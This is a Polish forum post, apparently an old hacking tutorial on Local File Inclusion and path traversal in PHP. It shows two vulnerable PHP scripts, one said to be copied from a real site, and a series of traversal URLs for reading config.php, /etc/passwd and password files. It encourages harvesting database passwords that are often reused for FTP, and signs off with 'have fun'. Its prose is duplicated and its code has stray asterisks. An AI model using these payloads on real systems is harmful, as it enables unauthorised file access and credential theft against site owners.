Magnefikko
Były Moderator
- Dołączył
- Maj 29, 2004
- Posty
- 709
Local File Including
by Magnefikko
Witam ja Was.
Jak zapewne wiecie, istnieją trzy główne metody ataków na strony internetowe (czyt. skrypty PHP) - SQLI, XSS i LFI.
W tym tutorialu omówię atak typu LFI, który - zaraz po XSS - jest najłatwiejszy do dorwania (SQLI jest najtrudniejsze nie tylko z powodu ciężkości używania go, lecz również z takiego, że większość serwerów automatycznie slas***e zmienne).
Na początek, czym jest ów błąd?
Weźmy sobie taki przykład:
Zerżnąłem ten kod z jakiegoś forum. Sam napisałbym bardziej w myśl zasady KISS (Keep It Simple Stupid), ale jak się nie ma co się lubi tudzież gdy się nie chce i tak dalej.
Skrypt ten pobiera zawartość pliku i wyświetla nam go linijka po linijce. To bardzo miło z jego strony.
Do czego jest używany? Zapewne do wyświetlania podstron w postaci TXT.
Zawartość katalogu /dane/strony :
Są to dwa pliki bez rozszerzeń zawierające jakieśtam teksty.
Zakładamy że nasz cud-skrypt nosi nazwę viewer.php .
I proszę, widzimy zawartość pliku zuo w katalogu dane. Aaale faaajneee!
Webmasterzy często korzystają z mniej więcej takiego rozwiązania do wyświetlania treści w ramkach. Kompletnie bez sensu.
Logika podpowiada nam że skoro skrypt pobiera zawartość pliku i ma uprawnienia które pozwalają mu odczytywać pliki na FTP, może on wyświetlić nam zawartość jakiegoś pliku PHP. Miło byłoby, dla przykładu, zobaczyć kod viewer.php . Spróbujmy...
Ojojoj, błąd MySQL. Straszne
Plik zapewne jest w którymś z wyższych katalogów. Ścieżka do wyższego katalogu, jak wiecie, to ../.Spróbujmy...
Wciąż nic. Jeszcze raz...
O, a cóż to się pokazało?
I w ten oto sposób możemy obejrzeć sobie dowolny plik na serwerze Warto zajrzeć do pliku config.php gdzie często jest hasło do bazy danych MySQL (które jeszcze częściej jest takie samo jak hasło na serwer FTP). Jeżeli haseł nie ma w config.php a wiemy, że strona korzysta z MySQL - po prostu przeszukujemy kod, sprawdzamy pliki do których odwołują się inne pliki aż znajdziemy. Szybko, łatwo i przyjemnie.
At apropo, jeżeli skrypt ma odpowiednie uprawnienia, możemy zaszaleć jeszcze bardziej
Inny przykład, również wykorzystujący cholernie często trafiający się błąd. Jak często? Poniższy skrypt jest żywcem zerżnięty ze strony podatnej na ów atak, który to znaleść mi przyszło po kilku sekundach
Fajny kodzik, co? xD
Rzeczjasna pozwala na wygodne ściągnięcie sobie dowolnego pliku z serwera. Tak jest!
Czy pozostaje mi coś jeszcze poza pozdrowieniami i życzeniami miłej zabawy? ;-)
by Magnefikko
Witam ja Was.
Jak zapewne wiecie, istnieją trzy główne metody ataków na strony internetowe (czyt. skrypty PHP) - SQLI, XSS i LFI.
W tym tutorialu omówię atak typu LFI, który - zaraz po XSS - jest najłatwiejszy do dorwania (SQLI jest najtrudniejsze nie tylko z powodu ciężkości używania go, lecz również z takiego, że większość serwerów automatycznie slas***e zmienne).
Na początek, czym jest ów błąd?
Weźmy sobie taki przykład:
Kod:
<?php
$plik = $_GET['Strona']
$dane = file('/dane/strony/'.$plik);
$cnt**= count($dane);
for($i = 0; $i < $cnt; $i++)
{
**echo htmlspecialchars($dane[$i]).'
';
}
?>
Skrypt ten pobiera zawartość pliku i wyświetla nam go linijka po linijce. To bardzo miło z jego strony.
Do czego jest używany? Zapewne do wyświetlania podstron w postaci TXT.
Zawartość katalogu /dane/strony :
Kod:
ciastka
zuo
Zakładamy że nasz cud-skrypt nosi nazwę viewer.php .
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=zuo
Webmasterzy często korzystają z mniej więcej takiego rozwiązania do wyświetlania treści w ramkach. Kompletnie bez sensu.
Logika podpowiada nam że skoro skrypt pobiera zawartość pliku i ma uprawnienia które pozwalają mu odczytywać pliki na FTP, może on wyświetlić nam zawartość jakiegoś pliku PHP. Miło byłoby, dla przykładu, zobaczyć kod viewer.php . Spróbujmy...
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=viewer.php
Plik zapewne jest w którymś z wyższych katalogów. Ścieżka do wyższego katalogu, jak wiecie, to ../.Spróbujmy...
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../viewer.php
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../viewer.php
Kod:
<?php
$plik = $_GET['Strona']
$dane = file('/dane/strony/'.$plik);
$cnt**= count($dane);
for($i = 0; $i < $cnt; $i++)
{
**echo htmlspecialchars($dane[$i]).'
';
}
?>
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../mypasswords.php
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../../../../../etc/passwrd
Kod:
http://www.fajnastrona.pl/viewer.php?Strona=../../../../../home/root/Pulpit/hasla.txt
Kod:
<?php
require_once('inc/functions.php');
if(isset($_GET['id']) && $_GET['id']!=='') {
$file='data/download/'.czysc($_GET['id']);
if(file_exists($file)) {
**header("Cache-Control: no-cache, must-revalidate");
**header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
**header('Content-type: '.mime_content_type($file));
**header('Content-Disposition: attachment; filename="'.$x[0].'"; size="'.filesize($file).'";');
**readfile($file);
} else echo('Plik '.$file.' nie istnieje');
} else echo('Plik '.$file.' nie istnieje');
?>
Rzeczjasna pozwala na wygodne ściągnięcie sobie dowolnego pliku z serwera. Tak jest!
Kod:
http://www.innastrona.pl/pobierz.php?id=../../index.php
Kod:
http://www.innastrona.pl/pobierz.php?id=../../config.php
Kod:
http://www.innastrona.pl/pobierz.php?id=../../../../../../etc/passwrd
Ostatnio edytowane przez moderatora: